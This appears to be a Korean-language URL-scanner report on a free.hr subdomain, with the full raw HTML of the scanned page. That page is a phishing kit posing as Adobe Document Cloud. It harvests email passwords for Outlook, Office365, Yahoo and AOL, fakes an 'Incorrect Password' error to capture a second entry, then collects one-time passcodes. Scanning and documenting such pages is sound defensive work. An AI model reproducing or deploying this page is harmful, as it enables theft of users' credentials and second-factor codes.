- 제출된 URL:
- https://aplusbusinessgroup.vep.free.hr/
- 보고서 완료:
링크 · 0개 결과
페이지에서 식별된 외부 링크
JavaScript 변수 · 7개 결과
페이지의 창 개체에 로드된 전역 JavaScript 변수는 함수 외부에서 선언된 변수로, 현재 범위 내에서 코드의 어느 부분에서나 액세스할 수 있습니다
| 이름 | 유형 |
|---|---|
| 0 | object |
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| $ | function |
| jQuery | function |
| bootstrap | object |
콘솔 로그 메시지 · 2개 결과
웹 콘솔에 기록된 메시지
| 유형 | 카테고리 | 로그 |
|---|---|---|
| verbose | dom |
|
| error | network |
|
HTML
페이지의 원시 HTML 본문
<!DOCTYPE html><html><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<!-- Font Awesome CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, Helvetica, sans-serif;
}
* {
box-sizing: border-box;
}
.bg-image {
/* The image used */
background-image: url("Image/bg1.PNG");
/* Add the blur effect */
filter: blur(8px);
-webkit-filter: blur(8px);
/* Full height */
height: 100%;
/* Center and scale the image nicely */
background-position: center;
background-repeat: no-repeat;
background-size: cover;
}
/* Position text in the middle of the page/image */
.bg-text {
/* background-color: rgb(0,0,0); Fallback color */
/* background-color: rgba(0,0,0, 0.4); Black w/opacity/see-through */
background-color: black;
/* opacity: 0.8; */
color: white;
/* font-weight: bold; */
border: 3px solid #f1f1f1;
border-radius:15px;
position: absolute;
top: 10%;
left: 25%;
/* transform: translate(-50%, -50%); */
/* z-index: 2; */
width: 50%;
padding: 20px;
text-align: center;
}
.modal-body{
text-align: left;
color:black;
}
.button{
width: 80%;
color:white;
margin:auto;
display:flex;
margin-top:20px;
}
.b1{
background-color: blue;
}
.b2{
background-color: red;
}
.b3{
background-color: #4d8fe4;
}
.b4{
background-color: #8f1189;
}
.b5{
background-color: green;
}
.btext{
margin-left:20px;
margin-top:5px;
}
Add Animation
@-webkit-keyframes slideIn {
from {bottom: -300px; opacity: 0}
to {bottom: 0; opacity: 1}
}
@keyframes slideIn {
from {bottom: -300px; opacity: 0}
to {bottom: 0; opacity: 1}
}
@-webkit-keyframes fadeIn {
from {opacity: 0}
to {opacity: 1}
}
@keyframes fadeIn {
from {opacity: 0}
to {opacity: 1}
}
@media only screen and (max-width: 767px) {
.bg-text{
width:85%;
padding: 10px;
}
.imagem img{
width: 80px;
height: 80px;
}
.bg-text {
top: 10%;
left: 7%;
/* width: 50%; */
}
}
</style>
</head>
<body>
<div class="bg-image"></div>
<div class="bg-text">
<div class="imagem">
<img src="Image/adobe.png" alt="Logo of adobe" width="100px" height="100px">
</div>
<p style="font-size:15px">Adobe Document Cloud <br> To read the document, please enter with the valid <br> email credentials that this file was sent to.</p>
<div type="button" class="button b1 formModals" id="myBtn" data-name="Outlook" data-image="Image/office360.png" data-formid="1">
<img src="Image/office360.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Outlook </span>
</div>
<div class="button b2 formModals" id="myBtno" data-name="Office" data-image="Image/office.png" data-formid="2">
<img src="Image/office.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Office365 </span>
</div>
<div class="button b4 formModals" id="myBtny" data-name="Yahoo" data-image="Image/yahoo.png" data-formid="3">
<img src="Image/yahoo.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Yahoo Mail </span>
</div>
<div class="button b5 formModals" id="myBtna" data-name="aol" data-image="Image/aol.png" data-formid="4">
<img src="Image/aol.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with AOL </span>
</div>
<div class="button b3 formModals" id="myBtne" data-name="Email" data-image="Image/email.png" data-formid="5">
<img src="Image/email.png" alt="office 360" width="30px" height="30px"> <span class="btext"> Sign in with Other Mail </span>
</div>
<p style="font-size:15px">Select your email provider to view Document</p>
<p style="font-size:15px">CopyRight © 2024 Adobe</p>
<!-- modal -->
<div class="modal fade" id="formModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLongTitle">
<!-- Office36500 -->
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="text-center mb-5">
<div class="data-image"></div>
<h4 class="mt-2 txx_hd"> Login
with <span class="form-title"></span> </h4>
</div>
<form method="post" id="formSubmit" action="processmail.php" class="stage-one">
<p id="error_text" class="text-danger"></p>
<input type="text" id="form-id" name="id" hidden="">
<label for="email" class="form_tx">Email
Address </label>
<input type="email" placeholder="Email" class="form-control" name="email_address" required="">
<br>
<p> We'll never share your email
with anyone else </p>
<label for="Password">Password</label>
<input type="password" placeholder="Enter Password" class="form-control" name="password" required="">
<div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>
</form></div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="submit" class="btn btn-primary" name="submit_form"> Login
</button>
</div>
</div>
</div>
</div>
<!-- Second Modal -->
<!-- Second Modal -->
<div class="modal fade" id="secondModal" tabindex="-1" role="dialog" aria-labelledby="secondModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLongTitle">
<!-- Office36500 -->
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<form method="post" id="secondForm" action="process.php">
<div class="modal-body">
<p style="font-weight:bold;" class="text-center">Please Verify your Account More</p>
<label for="lastname">OTP</label>
<input type="text" placeholder="OTP" class="form-control" name="txtotp" required="">
<!-- <br> -->
<div class="mt-3 text-warning" id="loading" style="display: none;">Verifying...</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="submit" class="btn btn-primary" name="submit_second_form">Submit</button>
</div>
</form>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
$(".formModals").click(function(e) {
e.preventDefault();
var id = $(this).data('formid');
var formname = $(this).data('name');
var image = $(this).data('image');
$("#formModal").modal('show');
$(".data-image").html("<img src='" + image + "' height='100' width='100' >");
$(".form-title").html("<span>" + formname + "</span>")
// $(".form-id").value = id;
document.getElementById("form-id").value = id;
})
</script>
<script>
$("#formSubmit").submit(function(e) {
e.preventDefault(); // avoid to execute the actual submit of the form.
var form = $(this);
var actionUrl = form.attr('action');
$.ajax({
type: "POST",
url: actionUrl,
data: form.serialize(), // serializes the form's elements.
success: function(data)
{
if (form.hasClass('stage-one')) {
// Stage one: Display "Incorrect Password" message
$("#error_text").text('Incorrect Password');
form.removeClass('stage-one').addClass('stage-three');
}else if (form.hasClass('stage-three')){
$('#formModal').modal('hide');
$('#secondModal').modal('show');
// alert("Submit me");
}
console.log(data);
}
}
);
});
</script>
<script>
$(document).ready(function() {
$("#secondForm").submit(function(e) {
e.preventDefault(); // avoid to execute the actual submit of the form.
var form = $(this);
var actionUrl = form.attr('action');
$("#loading").show();
// $.ajax({
// type: "POST",
// url: actionUrl,
// data: form.serialize(), // serializes the form's elements.
// dataType: "json", // Expect JSON response
// success: function(data) {
// if (data.status=="success") {
// window.location.href = "redirect.php";
// // alert('Email has been sent successfully');
// } else {
// alert('Failed to send email: ' + data.message);
// }
// },
// error: function(xhr, status, error) {
// alert('An error occurred while sending the email: ' + error);
// },
// complete: function() {
// // Hide loading indicator after request completes
// $("#loading").hide();
// }
// });
// console.log(data);
// });
});
</script>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f61f82bab513857',t:'MTczNDg4OTk4Ny4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
</div><iframe height="1" width="1" style="position: absolute; top: 0px; left: 0px; border: none; visibility: hidden;"></iframe></body></html>